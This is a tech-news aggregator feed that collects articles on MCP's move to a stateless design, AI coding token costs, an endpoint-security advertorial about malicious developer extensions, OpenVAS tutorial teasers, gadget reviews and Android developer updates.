<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



<p class="wp-block-paragraph">None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save <a href="https://getdx.com/blog/ai-assisted-engineering-q4-impact-report-2025/">3.6 hours</a> per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.</p>



<p class="wp-block-paragraph">Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.</p>



<h2 class="wp-block-heading">Stopping token waste before an AI blowout</h2>



<p class="wp-block-paragraph">Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.</p>



<p class="wp-block-paragraph">This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.</p>



<p class="wp-block-paragraph">Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.</p>



<p class="wp-block-paragraph">We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.</p>



<p class="wp-block-paragraph">This is a conversation teams need to have now. Anthropic <a href="https://support.claude.com/en/articles/15036540-use-the-claude-agent-sdk-with-your-claude-plan">just ended flat-rate pricing</a> for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.</p>



<p class="wp-block-paragraph">Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



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<title><![CDATA[Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning]]></title>
<description><![CDATA[Is the previous tutorial Vulnerability Scanning with OpenVAS 9.0 part 1 we’ve gone through the installation process of OpenVAS on Kali Linux and the installation of the virtual appliance. In this tutorial we will learn how to configure and run a vulnerability scan. For demonstration purposes we’v...]]></description>
<link>https://tsecurity.de/de/3694244/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-2-vulnerability-scanning/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694244/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-2-vulnerability-scanning/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Is the previous tutorial Vulnerability Scanning with OpenVAS 9.0 part 1 we’ve gone through the installation process of OpenVAS on Kali Linux and the installation of the virtual appliance. In this tutorial we will learn how to configure and run a vulnerability scan. For demonstration purposes we’ve also installed a virtual machine with Metasploitable 2 [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/scanning-tutorials/vulnerability-scanning-openvas-9-0-part-2/">Vulnerability Scanning with OpenVAS 9 part 2: Vulnerability Scanning</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
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<title><![CDATA[Vulnerability Scanning with OpenVAS 9 part 1: Installation & Setup]]></title>
<description><![CDATA[A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this t...]]></description>
<link>https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694245/it-security-nachrichten/vulnerability-scanning-with-openvas-9-part-1-installation-setup/</guid>
<pubDate>Sat, 25 Jul 2026 18:52:24 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A couple years ago we did a tutorial on Hacking Tutorials on how to install the popular vulnerability assessment tool OpenVAS on Kali Linux. We’ve covered the installation process on Kali Linux and running a basic scan on the Metasploitable 2 virtual machine to identify vulnerabilities. In this tutorial I want to cover more details [...]</p>
<p>The post <a href="https://www.hackingtutorials.org/scanning-tutorials/vulnerability-scanning-openvas-9-pt-1/">Vulnerability Scanning with OpenVAS 9 part 1: Installation &amp; Setup</a> appeared first on <a href="https://www.hackingtutorials.org/">Hacking Tutorials</a>.</p>]]></content:encoded>
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<title><![CDATA[Cricut Explore 5 vs. Siser Romeo: Choosing the Right Smart Cutting Machine (2026)]]></title>
<description><![CDATA[Friendly hobby machine or serious production tool? Here’s how to know which one is for you.]]></description>
<link>https://tsecurity.de/de/3693840/it-nachrichten/cricut-explore-5-vs-siser-romeo-choosing-the-right-smart-cutting-machine-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693840/it-nachrichten/cricut-explore-5-vs-siser-romeo-choosing-the-right-smart-cutting-machine-2026/</guid>
<pubDate>Sat, 25 Jul 2026 13:13:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Friendly hobby machine or serious production tool? Here’s how to know which one is for you.]]></content:encoded>
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<title><![CDATA[The Valve Steam Machine should be the perfect 'couch gaming' PC—but after testing it out, I'm not convinced it's worth the price]]></title>
<description><![CDATA[Valve's long-awaited Steam Machine is finally here – but was it really worth the wait? I've gone hands-on to find out.]]></description>
<link>https://tsecurity.de/de/3693825/it-nachrichten/the-valve-steam-machine-should-be-the-perfect-couch-gaming-pc-but-after-testing-it-out-im-not-convinced-its-worth-the-price/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693825/it-nachrichten/the-valve-steam-machine-should-be-the-perfect-couch-gaming-pc-but-after-testing-it-out-im-not-convinced-its-worth-the-price/</guid>
<pubDate>Sat, 25 Jul 2026 13:03:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Valve's long-awaited Steam Machine is finally here – but was it really worth the wait? I've gone hands-on to find out.]]></content:encoded>
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<title><![CDATA[Building Premium Android Experiences at Google I/O ‘26]]></title>
<description><![CDATA[Posted by Ataul Munim, Android Developer Relations Engineer



  
    
  



  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app'...]]></description>
<link>https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693509/android-tipps/building-premium-android-experiences-at-google-io-26/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:42 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKGsnLX5Gwc9xouq7Q32ltvbL7xW_d4jnCXtoEFr7emB2wzqlZEuXM8FXe22ZPSguMX-nOrxAPYja6AYBZWxF-lKJYxw09D3f2aMyjxsSi5jinnDBjJPOIFDyqVhuJC2SjOqKHLAmstGg1nhyphenhyphenJGYfp3m71TPL_i3xFAUm6PKp3uo5WVytjoRwTIoNmMVQ/s4097/MM_Differentiated%20Experiences_Meta.png">

<div>
  <div class="separator"><em>Posted by Ataul Munim, Android Developer Relations Engineer</em></div>
</div>

<div class="separator">
  <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s4209/MM_Differentiated-Experiences_Blog%20(1).png">
    <img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjimB7lZHnz1Nqt-CPhoIzMWWup9qcJd2B3wzfmG2kX-4HwtnEfrSrp9J2e7aINQrh8SaPd_mP7DvY6nQiP_K2nEju5nOCwbTan-oVeZ8rmoW1R5CvErSIFXPeuIXS7LsB8TnZZee462-ygL5IbOZ2m_C3rAcXEiv08HrPjPrku0oB-T70JyXM6lmgxzmg/s16000/MM_Differentiated-Experiences_Blog%20(1).png">
  </a>
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<div class="separator">
  A truly differentiated Android experience is about delivering premium delight wherever your users are. At Google I/O ‘26, we showcased how the latest advancements in the Android ecosystem can help you elevate your app's quality while maximizing development efficiency.
</div>

<div>
  <p>To help you build apps that stand out, we're diving into the key tools and libraries designed to optimize your core performance, extend the surfaces of your app to other devices, and streamline how your app handles high-quality media. </p>
  <p>Here is a recap of the essential updates and sessions you need to know to deliver a next-level experience across form factors!</p>
</div>

<div class="separator">
  
</div>

<h3>Maximize app performance and ROI with the R8 Configuration Analyzer</h3>
<p>A premium experience is only as good as its foundation, and a performant foundation is what allows your app to scale across the Android ecosystem. This is especially true with the release of Android 17, which introduces conservative, device RAM-based app memory limits to target extreme memory leaks and outliers before they cause system-wide instability. To stay below these new system thresholds and prevent your app from being terminated, having a lean footprint is no longer optional: it’s a critical requirement.</p>
<p>This year, we’re making it easier to build highly optimized, fast apps by introducing the <a href="https://developer.android.com/topic/performance/app-optimization/r8-configuration-analyzer" target="_blank">R8 Configuration Analyzer</a> in Android Studio. R8 is your most powerful tool for improving app performance, but its effectiveness is often limited by overly broad "keep rules" that prevent the compiler from stripping away unused code. The new Configuration Analyzer provides optimization, obfuscation, and shrinking scores, allowing you to identify specific rules that are preventing the benefits of R8 optimization.</p>
<p>By optimizing their R8 configurations, developers at Monzo achieved a 30% improvement in cold starts and a 35% reduction in ANRs. Smaller, faster code isn't just about efficiency; it's about ensuring your app has the memory headroom to deliver delight on every form factor, from the phone to the car.</p>

<div class="separator">
  
</div>

<h3>Extend your reach with a unified approach to Widgets on Phones, Watches and Cars</h3>
<p>User interaction is shifting toward quick, glanceable moments—short bursts of information that keep users connected without needing to open the full app. To help you increase the reach of your app content, we are unifying the development experience across the Android ecosystem with Jetpack Glance. By using a consistent, Compose-based model, you can elevate the content most important to your users straight to the phone’s home screen, Wear Widgets (previously Tiles!), and cars with a familiar workflow.</p>
<p>In order to help users engage with your content and features, even outside your app, we are making widgets more expressive and adaptive with RemoteCompose. On Wear OS, RemoteCompose allows you to use the Compose tools you’re already comfortable with to define UI logic that renders natively on remote surfaces, ensuring that your glanceable experiences remain highly performant and responsive even on resource-constrained hardware. On mobile and cars, RemoteCompose is used as a new framework giving Widgets new expressive capabilities.</p>
<p>You can use Jetpack Glance (together with RemoteCompose on Wear) to deliver a cohesive user journey. Whether it’s viewing flight status on the car dashboard, checking a gate change on a watch, or managing a boarding pass from a phone widget, this shared approach maximizes your app’s presence while keeping your development effort focused and efficient.</p>

<div class="separator">
  
</div>

<div>
  <h3>Supercharge your media pipeline with a complete, production-ready toolkit</h3>
  <div>Android has become a world-class home for the entire media lifecycle, and we are simplifying the journey from the first capture to the final playback. By leveraging Jetpack CameraX and Media3, you can build professional-grade experiences that feel native across the entire ecosystem. </div>
  <p>It starts with high-fidelity capture using the CameraXViewfinder Composable, which ensures your preview remains perfectly scaled and responsive on any form factor, including foldables and tablets. Use this to build adaptive capture experiences like a picture-in-picture view for multi-tasking, or that take advantage of modern features like high-frame-rate or slow-motion capture with CameraX v1.5.<br></p>
  <p>The new Media3 AI Effects library will provide a unified interface for premium features like Image &amp; Video Enhance, Magic Eraser, and Studio Sound. This allows you to focus on the creative intent while Media3 handles the heavy lifting of choosing the most efficient and reliable path for the device. Then, use the latest improvements in multi-asset editing with Media3 Transformer to composite your edited videos together!</p>
  <p>Complete the pipeline with tools designed for professional-grade export and viewing, including:</p>
  <ul>
    <li>CodecDB, which offers data-driven encoding recommendations tailored to specific chipsets, ensuring your exported videos maintain high visual quality with minimal noise or blurriness</li>
    <li>Scrubbing Mode in ExoPlayer to provide the buttery-smooth seeking experience users expect from premium media apps</li>
    <li>Enhanced Cast support with the new CastPlayer API in Media3</li>
  </ul>
  <p>By unifying these technical pillars, you can build a cohesive, high-performance media journey that delivers both delight for your users and high ROI for your development team.</p>
</div>

<div class="separator">
  
</div>

<p>For more details, check out the <i>premium</i> Android experience <a href="https://youtube.com/playlist?list=PLWz5rJ2EKKc8lSdmWQ_fSpV9yEGRvEL6S&amp;si=H6-8-AbtEyTqSxeY" target="_blank">YouTube playlist</a>.</p>]]></content:encoded>
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<title><![CDATA[Prioritizing Memory Efficiency: Essential Steps for Android 17]]></title>
<description><![CDATA[Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer



    
        
    



    While app performance is often equated with a smooth UI and fast start times, memory serves as the silent foundation upon which thes...]]></description>
<link>https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693508/android-tipps/prioritizing-memory-efficiency-essential-steps-for-android-17/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:41 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCIAoJpwUITPS5C3_eTksMsaslwqPk7SIEQHkwEkGv8572ccdIKcdv6kNC1BOSJPAZTgX5m3liMMv4zdK58e5dWRhUfo39uas23LuhEWf13TFnDTdw-Z5mWn4JarSnC8yCET8Sw15zSF-jQ5zwALriacGK6IjAGxNg61sFtSxzndjvqXxZtJt4qxuzd9A/s2048/Engineering-Memory-Blog-Meta-3.png">

<div class="separator">
    <em>Posted by Alice Yuan, Developer Relations Engineer, Ajesh Pai, Developer Relations Engineer, and Fung Lam, Developer Relations Engineer</em>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhanYZz4QpaDuwP7y_ZVGCUh6TpdQxS65pBcYr-Qkawd9YFS587tnIUPnqDROlxIXzgdz6GGxluR3LzH8ZabQPWz382FDEOEDpK3GxUFywn0A54JXFtUwDPaeI0JnFhEl-6NRrcjKeFPMLozNQv_An9OcWEUA-rmXfOhWvIKRrptdblGEZHERD0P-ynFcc/s4209/Engineering-Memory-Blog-3.png">
